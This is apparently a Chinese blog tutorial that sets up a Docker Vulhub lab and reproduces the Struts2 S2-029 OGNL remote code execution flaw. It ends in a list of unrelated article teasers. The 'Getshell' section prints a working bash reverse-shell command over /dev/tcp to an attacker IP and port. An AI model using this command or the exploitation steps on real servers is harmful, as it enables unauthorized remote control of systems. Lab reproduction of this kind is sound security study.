框架漏洞-->Struts2 Docker_Vulnhub搭建

来浅浅的讲一下Struts2漏洞

目录

1.Docker_Vulnhub搭建

2.Struts2

3.Struts2的框架特征

4.S2-029-->Remote Code Execution

5.漏洞复现

1.RCE

2.Getshell


1.Docker_Vulnhub搭建

因为我用的是Linux,所以我选择直接搭个docker,这里我建议先换个源

vim /etc/apt/sources.list

我用的清华源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

换完之后记得更新一下

sudo apt update

然后就可以装我们的docker啦!!!

sudo apt install docker.io

然后就是安装docker-compose

sudo apt-get  install docker-compose

下载vulnhub

git clone https://github.com/vulhub/vulhub.git 
//如果上面这个太慢的话,可以试试下面这个

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

然后就是开启docker环境

sudo systemctl start docker

 然后可以去查看一下

然后今天我们要复现的 s2-029在vulnhub里面没有,所以需要我们自己去拉取

docker pull medicean/vulapps:s_struts2_s2-029

 然后去启动漏洞环境

docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029

然后你就会发现网卡信息那里多了一栏

然后我们用本机的环境去访问 kali的ip:8080/default.action

访问成功,环境搭建成功

2.Struts2

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联
网、政府、企业门户网站。用的java语言开发 
漏洞介绍:
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2 引入了OGNL表达式使得框架
具有灵活的动态性 。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前
困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在
做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补
丁的系统会比较有效。

3.Struts2的框架特征

Struts2 框架特征
查看被测应用系统的源码, URL 接口地址以 .action ” “ .do 结尾或地址中包含 ! 符号,或者在被测应用的服务器上查看 应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,则需检测是否 存在Struts2 远程代码执行漏洞。

4.S2-029-->Remote Code Execution

rce的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用
。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。

5.漏洞复现

1.RCE

这里我就直接用漏扫了 

于是就对应的去利用

看见是能成功rce的!!!

2.Getshell

能不能getshell呢,废话,都能rce了,肯定能getshell啊!!!

先去开一下netcat

然后就是反向连接弹shell了

/bin/bash -c   "bash -i  >& /dev/tcp/192.168.246.1/9191 0>&1 "

这样就是成功的getshell了!!!

当然了,这个有没有手工的poc呢?? 肯定是有,不过很长 

最后养成好习惯,关闭docker环境

docker-compose down  //如果是上面的环境的话,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下环境是否关闭

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/426340.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024最新算法:斑翠鸟优化算法(Pied Kingfisher Optimizer ,PKO)求解23个基准函数

一、斑翠鸟优化算法 斑翠鸟优化算法(Pied Kingfisher Optimizer ,PKO),是由Abdelazim Hussien于2024年提出的一种基于群体的新型元启发式算法,它从自然界中观察到的斑翠鸟独特的狩猎行为和共生关系中汲取灵感。PKO 算法围绕三个不…

CHI协议学习

原始文档:https://developer.arm.com/documentation/102407/0100/?langen CHI 总线拓扑结构 CHI总线拓扑是实现自定义的,可以是RING/MESH/CROSSBAR的类型; RING 一般适用于中等规模芯片MESH 一般适用于大规模芯片CROSSBAR 一般适用于小规模…

C++_程序流程结构_循环结构_do while

作用 满足循环条件,执行循环语句 语法 do( 循环语句)while(循环条件) 注意 与while的区别在于do…while会先执行一次循环语句,再判断循环条件 流程图 示例

机器学习-面经(part3)

5. 正则化 5.0 手推L1,L2 5.1 什么是正则化,如何理解 定义: 在损失函数后加上一个正则化项(惩罚项),其实就是常说的结构风险最小化策略,即损失函数 加上正则化。一般模型越复杂,正则化值越大。 正则化项是用来对模型中某些参数进行约束,正则化的一般形式如下: 第一项是…

二元组整数

输入N个整数&#xff0c;输出这个整数两两组合且不重复的所有二元组&#xff0c;要求从小到大输出并且用括号的形式。 输入输出格式 输入描述: 第一行输入一个整数N&#xff0c;N<30。 第二行输入N个整数。 输出描述: 按题意输出。输入输出样例 输入样例#: 3 1 2 3 输出样…

【笔记】OpenHarmony和HarmonyOS区别及应用开发简介

一、概念 OpenHarmony(OH) &#xff1a; OpenAtom OpenHarmonyHarmonyOS(HO)&#xff1a;开发 | 华为开发者联盟 (huawei.com) HO当前最高是3.1&#xff0c;在华为mate 60上面也是。关于4.0、5.0和next这类版本说法都是面向用户的&#xff0c;不是开发人员。对于程序员&#…

使用Docker快速部署Flink分布式集群

前言 大家是否记得自己是怎么开始学习大数据的内容呢&#xff0c;估计关注我得同学会发现前面有点陆续有点关于Docker的小烂文&#xff0c;是因为使用Docker可以最快的速度让我们拥有一个学习的环境。大数据的东西都逃不过搭建环境测试跑通这么一个过程&#xff0c;我自己也是…

【重温设计模式】命令模式及其Java示例

命令模式的介绍 在我们的编程世界中&#xff0c;设计模式如同一盏指路明灯&#xff0c;它们是前人智慧的结晶&#xff0c;为我们照亮了解决复杂问题的路径。 其中&#xff0c;命令模式是一种行为设计模式&#xff0c;其主要的目标是将操作封装到对象中。这种模式的一个显著特点…

Redis在中国火爆,为何MongoDB更受欢迎国外?

一、概念 Redis Redis&#xff08;Remote Dictionary Server&#xff09;是一个使用ANSI C编写的开源、支持网络、基于内存、分布式、可选持久性的键值对存储数据库。Redis是由Salvatore Sanfilippo于2009年启动开发的&#xff0c;首个版本于同年5月发布。 MongoDB MongoDB…

C语言指针的初步认识--学习笔记(2)

1.数组名的理解 我们在使⽤指针访问数组的内容时&#xff0c;有这样的代码&#xff1a; int arr[10]{1,2,3,4,5,6,7,8,9,10}; int* p&arr[0]; 这⾥我们使⽤ &arr[0] 的⽅式拿到了数组第⼀个元素的地址&#xff0c;但是其实数组名本来就是地址&#xff0c;⽽且 是数组…

redis 缓存击穿问题(互斥锁,逻辑过期)

1、缓存击穿问题 缓存击穿问题:一个被高并发访问并且缓存重建业务较复杂的key突然失效了&#xff0c;无数的请求访问会在瞬间给数据库带来巨大的冲击。 场景:假设线程1在查询缓存之后&#xff0c;本来应该去查询数据库&#xff0c;然后把这个数据重新加…

LeetCode第125场双周赛个人题解

目录 100231. 超过阈值的最少操作数 I 原题链接 思路分析 AC代码 100232. 超过阈值的最少操作数 II 原题链接 思路分析 AC代码 100226. 在带权树网络中统计可连接服务器对数目 原题链接 思路分析 AC代码 100210. 最大节点价值之和 原题链接 思路分析 AC代码 10023…

react native封装ScrollView,实现(滑到底部)和(滑到顶部+手指继续向下滑)时拉取新数据

里面的tw是在react native中使用tailwind的第三方库 只求读者把样式看个大概&#xff0c;主要还是功能的实现 ScrollView的官方文档如下 https://reactnative.cn/docs/scrollview import tw from twrnc import { View, Text, ScrollView, RefreshControl } from react-native …

docker的简介--安装--操作命令

1.docker的简介 1.1docker是什么 用一句话来说docker就是一个新一代虚拟化技术 Docker是一种开源的平台&#xff0c;用于开发、交付和运行应用程序。它允许开发人员将应用程序和它们的依赖打包在一个容器中&#xff0c;然后部署到任何支持Docker的环境中。Docker的主要特点包括…

Javaweb之SpringBootWeb案例之自动配置的@Conditional源码的详细解析

3.2.3.2 Conditional 我们在跟踪SpringBoot自动配置的源码的时候&#xff0c;在自动配置类声明bean的时候&#xff0c;除了在方法上加了一个Bean注解以外&#xff0c;还会经常用到一个注解&#xff0c;就是以Conditional开头的这一类的注解。以Conditional开头的这些注解都是条…

Vue中如何实现条件渲染?

在Vue中实现条件渲染非常简单且灵活&#xff0c;主要通过Vue的指令来实现。在Vue中&#xff0c;我们可以使用v-if和v-else指令来根据条件来渲染不同的内容。下面就让我们通过一个简单的示例来演示如何在Vue中实现条件渲染&#xff1a; <!DOCTYPE html> <html lang&qu…

pytest-allure报告生成

pytest生成allure报告步骤&#xff1a; 下载allure&#xff0c;配置allure报告的环境变量&#xff1a;把allure-2.13.7\bin 配置到环境变量path路径 验证&#xff1a;在dos窗口和pycharm窗口分别验证&#xff1a;allure –version 2. 生成临时的json报告 在pytest.ini配置文…

3、JavaWeb-Ajax/Axios-前端工程化-Element

P34 Ajax介绍 Ajax:Asynchroous JavaScript And XML&#xff0c;异步的JS和XML JS网页动作&#xff0c;XML一种标记语言&#xff0c;存储数据&#xff0c; 作用&#xff1a; 数据交换&#xff1a;通过Ajax给服务器发送请求&#xff0c; 并获取服务器响应的数据 异步交互&am…

代码随想录day11(1)字符串:反转字符串中的单词 (leetcode151)

题目要求&#xff1a;给定一个字符串&#xff0c;将其中单词顺序反转&#xff0c;且每个单词之间有且仅有一个空格。 思路&#xff1a;因为本题没有限制空间复杂度&#xff0c;所以首先想到的是用split直接分割单词&#xff0c;然后将单词倒叙相加。 但如果想让空间复杂度为O…

ChatGPT 4.0使用之论文阅读

文章目录 阅读环境准备打开AskYourPDF进入主站 粗读论文直接通过右侧边框进行提问选中文章内容翻译或概括插图的理解 总结 拥有了GPT4.0之后&#xff0c;最重要的就是学会如何充分发挥它的强大功能&#xff0c;不然一个月20美元的费用花费的可太心疼了&#xff08;家境贫寒&…
最新文章